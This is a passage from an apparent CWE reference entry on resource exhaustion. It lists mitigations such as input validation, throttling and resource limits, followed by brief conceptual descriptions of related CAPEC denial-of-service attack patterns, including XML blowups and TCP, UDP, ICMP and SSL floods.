- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.